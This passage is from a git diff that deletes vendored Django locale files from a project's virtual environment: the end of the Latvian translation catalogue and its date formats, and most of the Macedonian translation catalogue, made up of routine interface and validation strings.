"alt. month" -msgid "April" -msgstr "aprīlis" - -msgctxt "alt. month" -msgid "May" -msgstr "maijs" - -msgctxt "alt. month" -msgid "June" -msgstr "jūnijs" - -msgctxt "alt. month" -msgid "July" -msgstr "jūlijs" - -msgctxt "alt. month" -msgid "August" -msgstr "augusts" - -msgctxt "alt. month" -msgid "September" -msgstr "septembris" - -msgctxt "alt. month" -msgid "October" -msgstr "oktobris" - -msgctxt "alt. month" -msgid "November" -msgstr "novembris" - -msgctxt "alt. month" -msgid "December" -msgstr "decembris" - -msgid "This is not a valid IPv6 address." -msgstr "Šī nav derīga IPv6 adrese." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "vai" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d gadi" -msgstr[1] "%(num)d gads" -msgstr[2] "%(num)d gadi" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d mēneši" -msgstr[1] "%(num)d mēnesis" -msgstr[2] "%(num)d mēneši" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d nedēļas" -msgstr[1] "%(num)d nedēļa" -msgstr[2] "%(num)d nedēļas" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d dienas" -msgstr[1] "%(num)d diena" -msgstr[2] "%(num)d dienas" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d stundas" -msgstr[1] "%(num)d stunda" -msgstr[2] "%(num)d stubdas" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minūtes" -msgstr[1] "%(num)d minūte" -msgstr[2] "%(num)d minūtes" - -msgid "Forbidden" -msgstr "Aizliegts" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF pārbaude neizdevās. Pieprasījums pārtrauks." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Jūs redzat šo paziņojumu, jo jūsu pārlūkprogrammai ir jānosūta “Referer " -"header” šai HTTPS vietnei, taču tā netika nosūtīta. Šī galvene ir " -"nepieciešama drošības apsvērumu dēļ, lai pārliecinātos, ka jūsu " -"pārlūkprogrammas komunikācijas datus nepārtver trešās puses." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Ja esat konfigurējis savu pārlūkprogrammu, lai atspējotu “Referer” headerus, " -"lūdzu, atkārtoti iespējojiet tos vismaz šai vietnei, HTTPS savienojumiem vai " -"“same-origin” pieprasījumiem." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Ja jūs izmantojat tagu vai " -"iekļaujat “Referrer-Policy: no-referrer” headeri, lūdzu noņemiet tos. CSRF " -"aizsardzībai ir nepieciešams, lai “Referer” headerī tiktu veikta strikta " -"pārvirzītāja pārbaude. Ja jūs domājat par privātumu, tad izmantojiet tādas " -"alternatīvas kā priekš saitēm uz trešo pušu vietnēm." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Jūs redzat šo ziņojumu, jo, iesniedzot veidlapas, šai vietnei ir " -"nepieciešams CSRF sīkfails. Šis sīkfails ir vajadzīgs drošības apsvērumu " -"dēļ, lai pārliecinātos, ka trešās personas nepārņems kontroli pār jūsu " -"pārlūkprogrammu." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Ja esat konfigurējis pārlūkprogrammu, lai atspējotu sīkdatnes, lūdzu, " -"atkārtoti iespējojiet tās vismaz šai vietnei vai “same-origin” " -"pieprasījumiem." - -msgid "More information is available with DEBUG=True." -msgstr "Vairāk informācijas ir pieejams ar DEBUG=True" - -msgid "No year specified" -msgstr "Nav norādīts gads" - -msgid "Date out of range" -msgstr "Datums ir ārpus diapazona" - -msgid "No month specified" -msgstr "Nav norādīts mēnesis" - -msgid "No day specified" -msgstr "Nav norādīta diena" - -msgid "No week specified" -msgstr "Nav norādīta nedēļa" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s nav pieejami" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Nākotne %(verbose_name_plural)s nav pieejama, jo %(class_name)s.allow_future " -"ir False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Nepareiza datuma rinda “%(datestr)s” norādītajā formātā “%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Neviens %(verbose_name)s netika atrasts" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Lapa nav “pēdējā”, kā arī tā nevar tikt konvertēta par ciparu." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Nepareiza lapa (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Tukšs saraksts un \"%(class_name)s.allow_empty\" ir False." - -msgid "Directory indexes are not allowed here." -msgstr "Direktoriju indeksi nav atļauti." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "\"%(path)s\" neeksistē" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s saturs" - -msgid "The install worked successfully! Congratulations!" -msgstr "Instalācija veiksmīga! Apsveicam!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Apskatīt laidiena piezīmes Django %(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Jūs redziet šo lapu, jo DEBUG=True ir iestatījumu failā un Jūs neesiet " -"konfigurējis nevienu saiti." - -msgid "Django Documentation" -msgstr "Django Dokumentācija" - -msgid "Topics, references, & how-to’s" -msgstr "Tēmas, atsauces, & how-to" - -msgid "Tutorial: A Polling App" -msgstr "Apmācība: Balsošanas aplikācija" - -msgid "Get started with Django" -msgstr "Sāciet ar Django" - -msgid "Django Community" -msgstr "Django Komūna" - -msgid "Connect, get help, or contribute" -msgstr "Sazinieties, saņemiet palīdzību vai sniedziet ieguldījumu" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/lv/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/lv/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/lv/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/lv/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index c06639e0..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/lv/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/lv/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/lv/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 9ea1110f..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/lv/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/lv/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/lv/formats.py deleted file mode 100644 index bb344443..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/lv/formats.py +++ /dev/null @@ -1,46 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = r"Y. \g\a\d\a j. F" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = r"Y. \g\a\d\a j. F, H:i" -YEAR_MONTH_FORMAT = r"Y. \g. F" -MONTH_DAY_FORMAT = "j. F" -SHORT_DATE_FORMAT = r"j.m.Y" -SHORT_DATETIME_FORMAT = "j.m.Y H:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# Kept ISO formats as they are in first position -DATE_INPUT_FORMATS = [ - "%Y-%m-%d", # '2006-10-25' - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y", # '25.10.06' -] -TIME_INPUT_FORMATS = [ - "%H:%M:%S", # '14:30:59' - "%H:%M:%S.%f", # '14:30:59.000200' - "%H:%M", # '14:30' - "%H.%M.%S", # '14.30.59' - "%H.%M.%S.%f", # '14.30.59.000200' - "%H.%M", # '14.30' -] -DATETIME_INPUT_FORMATS = [ - "%Y-%m-%d %H:%M:%S", # '2006-10-25 14:30:59' - "%Y-%m-%d %H:%M:%S.%f", # '2006-10-25 14:30:59.000200' - "%Y-%m-%d %H:%M", # '2006-10-25 14:30' - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' - "%d.%m.%y %H:%M:%S", # '25.10.06 14:30:59' - "%d.%m.%y %H:%M:%S.%f", # '25.10.06 14:30:59.000200' - "%d.%m.%y %H:%M", # '25.10.06 14:30' - "%d.%m.%y %H.%M.%S", # '25.10.06 14.30.59' - "%d.%m.%y %H.%M.%S.%f", # '25.10.06 14.30.59.000200' - "%d.%m.%y %H.%M", # '25.10.06 14.30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = " " # Non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/mk/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/mk/LC_MESSAGES/django.mo deleted file mode 100644 index 798ca7e2..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/mk/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/mk/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/mk/LC_MESSAGES/django.po deleted file mode 100644 index ecd62ceb..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/mk/LC_MESSAGES/django.po +++ /dev/null @@ -1,1273 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Bojan Drangovski , 2021 -# Claude Paroz , 2020 -# dekomote , 2015 -# Jannis Leidel , 2011 -# Vasil Vangelovski , 2016-2017 -# Vasil Vangelovski , 2013-2015 -# Vasil Vangelovski , 2011-2013 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-01-15 09:00+0100\n" -"PO-Revision-Date: 2021-05-12 22:47+0000\n" -"Last-Translator: Bojan Drangovski \n" -"Language-Team: Macedonian (http://www.transifex.com/django/django/language/" -"mk/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: mk\n" -"Plural-Forms: nplurals=2; plural=(n % 10 == 1 && n % 100 != 11) ? 0 : 1;\n" - -msgid "Afrikaans" -msgstr "Африканс" - -msgid "Arabic" -msgstr "Арапски" - -msgid "Algerian Arabic" -msgstr "" - -msgid "Asturian" -msgstr "Астуриски" - -msgid "Azerbaijani" -msgstr "Азербејџански" - -msgid "Bulgarian" -msgstr "Бугарски" - -msgid "Belarusian" -msgstr "Белоруски" - -msgid "Bengali" -msgstr "Бенгалски" - -msgid "Breton" -msgstr "Бретонски" - -msgid "Bosnian" -msgstr "Босански" - -msgid "Catalan" -msgstr "Каталански" - -msgid "Czech" -msgstr "Чешки" - -msgid "Welsh" -msgstr "Велшки" - -msgid "Danish" -msgstr "Дански" - -msgid "German" -msgstr "Германски" - -msgid "Lower Sorbian" -msgstr "Долно Лужичко-Српски" - -msgid "Greek" -msgstr "Грчки" - -msgid "English" -msgstr "Англиски" - -msgid "Australian English" -msgstr "Австралиски англиски" - -msgid "British English" -msgstr "Британски англиски" - -msgid "Esperanto" -msgstr "Есперанто" - -msgid "Spanish" -msgstr "Шпански" - -msgid "Argentinian Spanish" -msgstr "Аргентински шпански" - -msgid "Colombian Spanish" -msgstr "Колумбиски Шпански" - -msgid "Mexican Spanish" -msgstr "Мексикански шпански" - -msgid "Nicaraguan Spanish" -msgstr "Никарагва шпански" - -msgid "Venezuelan Spanish" -msgstr "Венецуела шпански" - -msgid "Estonian" -msgstr "Естонски" - -msgid "Basque" -msgstr "Баскиски" - -msgid "Persian" -msgstr "Персиски" - -msgid "Finnish" -msgstr "Фински" - -msgid "French" -msgstr "Француски" - -msgid "Frisian" -msgstr "Фризиски" - -msgid "Irish" -msgstr "Ирски" - -msgid "Scottish Gaelic" -msgstr "Шкотски Галски" - -msgid "Galician" -msgstr "Галски" - -msgid "Hebrew" -msgstr "Еврејски" - -msgid "Hindi" -msgstr "Хинди" - -msgid "Croatian" -msgstr "Хрватски" - -msgid "Upper Sorbian" -msgstr "Горно Лужичко-Српски" - -msgid "Hungarian" -msgstr "Унгарски" - -msgid "Armenian" -msgstr "Ерменски" - -msgid "Interlingua" -msgstr "Интерлингва" - -msgid "Indonesian" -msgstr "Индонезиски" - -msgid "Igbo" -msgstr "" - -msgid "Ido" -msgstr "Идо" - -msgid "Icelandic" -msgstr "Исландски" - -msgid "Italian" -msgstr "Италијански" - -msgid "Japanese" -msgstr "Јапонски" - -msgid "Georgian" -msgstr "Грузиски" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "Казахстански" - -msgid "Khmer" -msgstr "Кмер" - -msgid "Kannada" -msgstr "Канада" - -msgid "Korean" -msgstr "Корејски" - -msgid "Kyrgyz" -msgstr "" - -msgid "Luxembourgish" -msgstr "Луксембуршки" - -msgid "Lithuanian" -msgstr "Литвански" - -msgid "Latvian" -msgstr "Латвиски" - -msgid "Macedonian" -msgstr "Македонски" - -msgid "Malayalam" -msgstr "Малајалам" - -msgid "Mongolian" -msgstr "Монголски" - -msgid "Marathi" -msgstr "Марати" - -msgid "Burmese" -msgstr "Бурмански" - -msgid "Norwegian Bokmål" -msgstr "Норвешки Бокмел" - -msgid "Nepali" -msgstr "Непалски" - -msgid "Dutch" -msgstr "Холандски" - -msgid "Norwegian Nynorsk" -msgstr "Нинорск норвешки" - -msgid "Ossetic" -msgstr "Осетски" - -msgid "Punjabi" -msgstr "Пунџаби" - -msgid "Polish" -msgstr "Полски" - -msgid "Portuguese" -msgstr "Португалкски" - -msgid "Brazilian Portuguese" -msgstr "Бразилско португалски" - -msgid "Romanian" -msgstr "Романски" - -msgid "Russian" -msgstr "Руски" - -msgid "Slovak" -msgstr "Словачки" - -msgid "Slovenian" -msgstr "Словенечки" - -msgid "Albanian" -msgstr "Албански" - -msgid "Serbian" -msgstr "Српски" - -msgid "Serbian Latin" -msgstr "Српски Латиница" - -msgid "Swedish" -msgstr "Шведски" - -msgid "Swahili" -msgstr "Свахили" - -msgid "Tamil" -msgstr "Тамил" - -msgid "Telugu" -msgstr "Телугу" - -msgid "Tajik" -msgstr "" - -msgid "Thai" -msgstr "Тајландски" - -msgid "Turkmen" -msgstr "" - -msgid "Turkish" -msgstr "Турски" - -msgid "Tatar" -msgstr "Татарски" - -msgid "Udmurt" -msgstr "Удмурт" - -msgid "Ukrainian" -msgstr "Украински" - -msgid "Urdu" -msgstr "Урду" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Виетнамски" - -msgid "Simplified Chinese" -msgstr "Поедноставен кинески" - -msgid "Traditional Chinese" -msgstr "Традиционален кинески" - -msgid "Messages" -msgstr "Пораки" - -msgid "Site Maps" -msgstr "Сајт мапи" - -msgid "Static Files" -msgstr "Статички датотеки" - -msgid "Syndication" -msgstr "Синдикација" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "" - -msgid "That page number is not an integer" -msgstr "Тој број на страна не е цел број" - -msgid "That page number is less than 1" -msgstr "Тој број на страна е помал од 1" - -msgid "That page contains no results" -msgstr "Таа страна не содржи резултати" - -msgid "Enter a valid value." -msgstr "Внесете правилна вредност." - -msgid "Enter a valid URL." -msgstr "Внесете правилна веб адреса." - -msgid "Enter a valid integer." -msgstr "Внесете валиден цел број." - -msgid "Enter a valid email address." -msgstr "Внесете валидна email адреса." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Внесeте правилна IPv4 адреса." - -msgid "Enter a valid IPv6 address." -msgstr "Внесете валидна IPv6 адреса." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Внесете валидна IPv4 или IPv6 адреса." - -msgid "Enter only digits separated by commas." -msgstr "Внесете само цифри одделени со запирки." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Осигурајте се дека оваа вредност е %(limit_value)s (моментално е " -"%(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" -"Осигурајте се дека оваа вредност е помала или еднаква со %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" -"Осигурајте се дека оваа вредност е поголема или еднаква со %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Осигурајте се дека оваа вредност има најмалку %(limit_value)d карактер (има " -"%(show_value)d)." -msgstr[1] "" -"Осигурајте се дека оваа вредност има најмалку %(limit_value)d карактери (има " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Осигурајте се дека оваа вредност има најмногу %(limit_value)d карактер (има " -"%(show_value)d)." -msgstr[1] "" -"Осигурајте се дека оваа вредност има најмногу %(limit_value)d карактери (има " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Внесете број." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Осигурајте се дека вкупно нема повеќе од %(max)s цифра." -msgstr[1] "Осигурајте се дека вкупно нема повеќе од %(max)s цифри." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Осигурајте се дека нема повеќе од %(max)s децимално место." -msgstr[1] "Осигурајте се дека нема повеќе од %(max)s децимални места." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Осигурајте се дека нема повеќе одs %(max)s цифра пред децималната запирка." -msgstr[1] "" -"Осигурајте се дека нема повеќе од %(max)s цифри пред децималната запирка." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "Null карактери не се дозволени." - -msgid "and" -msgstr "и" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s со ова %(field_labels)s веќе постојат." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Вредноста %(value)r не е валиден избор." - -msgid "This field cannot be null." -msgstr "Оваа вредност неможе да биде null." - -msgid "This field cannot be blank." -msgstr "Ова поле не може да биде празно" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s со %(field_label)s веќе постои." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s мора да биде уникатно за %(date_field_label)s " -"%(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Поле од тип: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Вредноста '%(value)s' мора да биде точно или неточно." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Логичка (или точно или неточно)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Нишка од знаци (текст) (до %(max_length)s карактери)" - -msgid "Comma-separated integers" -msgstr "Целобројни вредности одделени со запирка" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Датум (без време)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Датум (со време)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Децимален број" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "Траење" - -msgid "Email address" -msgstr "Адреса за е-пошта (email)" - -msgid "File path" -msgstr "Патека на датотека" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Децимален број подвижна запирка" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Цел број" - -msgid "Big (8 byte) integer" -msgstr "Голем (8 бајти) цел број" - -msgid "Small integer" -msgstr "Мал цел број" - -msgid "IPv4 address" -msgstr "IPv4 адреса" - -msgid "IP address" -msgstr "IP адреса" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Логичка вредност (точно,неточно или ништо)" - -msgid "Positive big integer" -msgstr "" - -msgid "Positive integer" -msgstr "Позитивен цел број" - -msgid "Positive small integer" -msgstr "Позитивен мал цел број" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Скратено име (до %(max_length)s знаци)" - -msgid "Text" -msgstr "Текст" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Време" - -msgid "URL" -msgstr "URL (веб адреса)" - -msgid "Raw binary data" -msgstr "Сурови бинарни податоци" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "Датотека" - -msgid "Image" -msgstr "Слика" - -msgid "A JSON object" -msgstr "" - -msgid "Value must be valid JSON." -msgstr "" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "%(model)s инстанца со %(field)s %(value)r не постои." - -msgid "Foreign Key (type determined by related field)" -msgstr "Надворешен клуч (типот е одреден според поврзаното поле)" - -msgid "One-to-one relationship" -msgstr "Еден-према-еден релација" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s релација" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s релации" - -msgid "Many-to-many relationship" -msgstr "Повеќе-према-повеќе релација" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Ова поле е задолжително." - -msgid "Enter a whole number." -msgstr "Внесете цел број." - -msgid "Enter a valid date." -msgstr "Внесете правилен датум." - -msgid "Enter a valid time." -msgstr "Внесете правилно време." - -msgid "Enter a valid date/time." -msgstr "Внесете правилен датум со време." - -msgid "Enter a valid duration." -msgstr "Внесете валидно времетрање." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Не беше пратена датотека. Проверете го типот на енкодирање на формата." - -msgid "No file was submitted." -msgstr "Не беше пратена датотека." - -msgid "The submitted file is empty." -msgstr "Пратената датотека е празна." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Осигурајте се дека ова име на датотека има најмногу %(max)d карактер (има " -"%(length)d)." -msgstr[1] "" -"Осигурајте се дека ова име на датотека има најмногу %(max)d карактери (има " -"%(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Или прикачете датотека или штиклирајте го полето за чистење, не двете од " -"еднаш." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Качете валидна слика. Датотеката која ја качивте или не беше слика или беше " -"расипана датотеката." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Внесете валиден избор. %(value)s не е еден од можните избори." - -msgid "Enter a list of values." -msgstr "Внесете листа на вредности." - -msgid "Enter a complete value." -msgstr "Внесете целосна вредност." - -msgid "Enter a valid UUID." -msgstr "Внесете валиден UUID (единствен идентификатор)." - -msgid "Enter a valid JSON." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Скриено поле %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" - -#, python-format -msgid "Please submit at most %d form." -msgid_plural "Please submit at most %d forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit at least %d form." -msgid_plural "Please submit at least %d forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "Редослед" - -msgid "Delete" -msgstr "Избриши" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Ве молам поправете ја дуплираната вредност за %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Ве молам поправете ја дуплираната вредност за %(field)s, која мора да биде " -"уникатна." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Ве молам поправете ја дуплираната вредност за %(field_name)s која мора да " -"биде уникатна за %(lookup)s во %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Ве молам поправете ги дуплираните вредности подолу." - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Изберете правилно. Тоа не е еден од можните избори." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Исчисти" - -msgid "Currently" -msgstr "Моментално" - -msgid "Change" -msgstr "Измени" - -msgid "Unknown" -msgstr "Непознато" - -msgid "Yes" -msgstr "Да" - -msgid "No" -msgstr "Не" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "да,не,можеби" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d бајт" -msgstr[1] "%(size)d бајти" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "попладне" - -msgid "a.m." -msgstr "наутро" - -msgid "PM" -msgstr "попладне" - -msgid "AM" -msgstr "наутро" - -msgid "midnight" -msgstr "полноќ" - -msgid "noon" -msgstr "пладне" - -msgid "Monday" -msgstr "Понеделник" - -msgid "Tuesday" -msgstr "Вторник" - -msgid "Wednesday" -msgstr "Среда" - -msgid "Thursday" -msgstr "Четврток" - -msgid "Friday" -msgstr "Петок" - -msgid "Saturday" -msgstr "Сабота" - -msgid "Sunday" -msgstr "Недела" - -msgid "Mon" -msgstr "Пон" - -msgid "Tue" -msgstr "Вто" - -msgid "Wed" -msgstr "Сре" - -msgid "Thu" -msgstr "Чет" - -msgid "Fri" -msgstr "Пет" - -msgid "Sat" -msgstr "Саб" - -msgid "Sun" -msgstr "Нед" - -msgid "January" -msgstr "Јануари" - -msgid "February" -msgstr "Февруари" - -msgid "March" -msgstr "Март" - -msgid "April" -msgstr "Април" - -msgid "May" -msgstr "Мај" - -msgid "June" -msgstr "Јуни" - -msgid "July" -msgstr "Јули" - 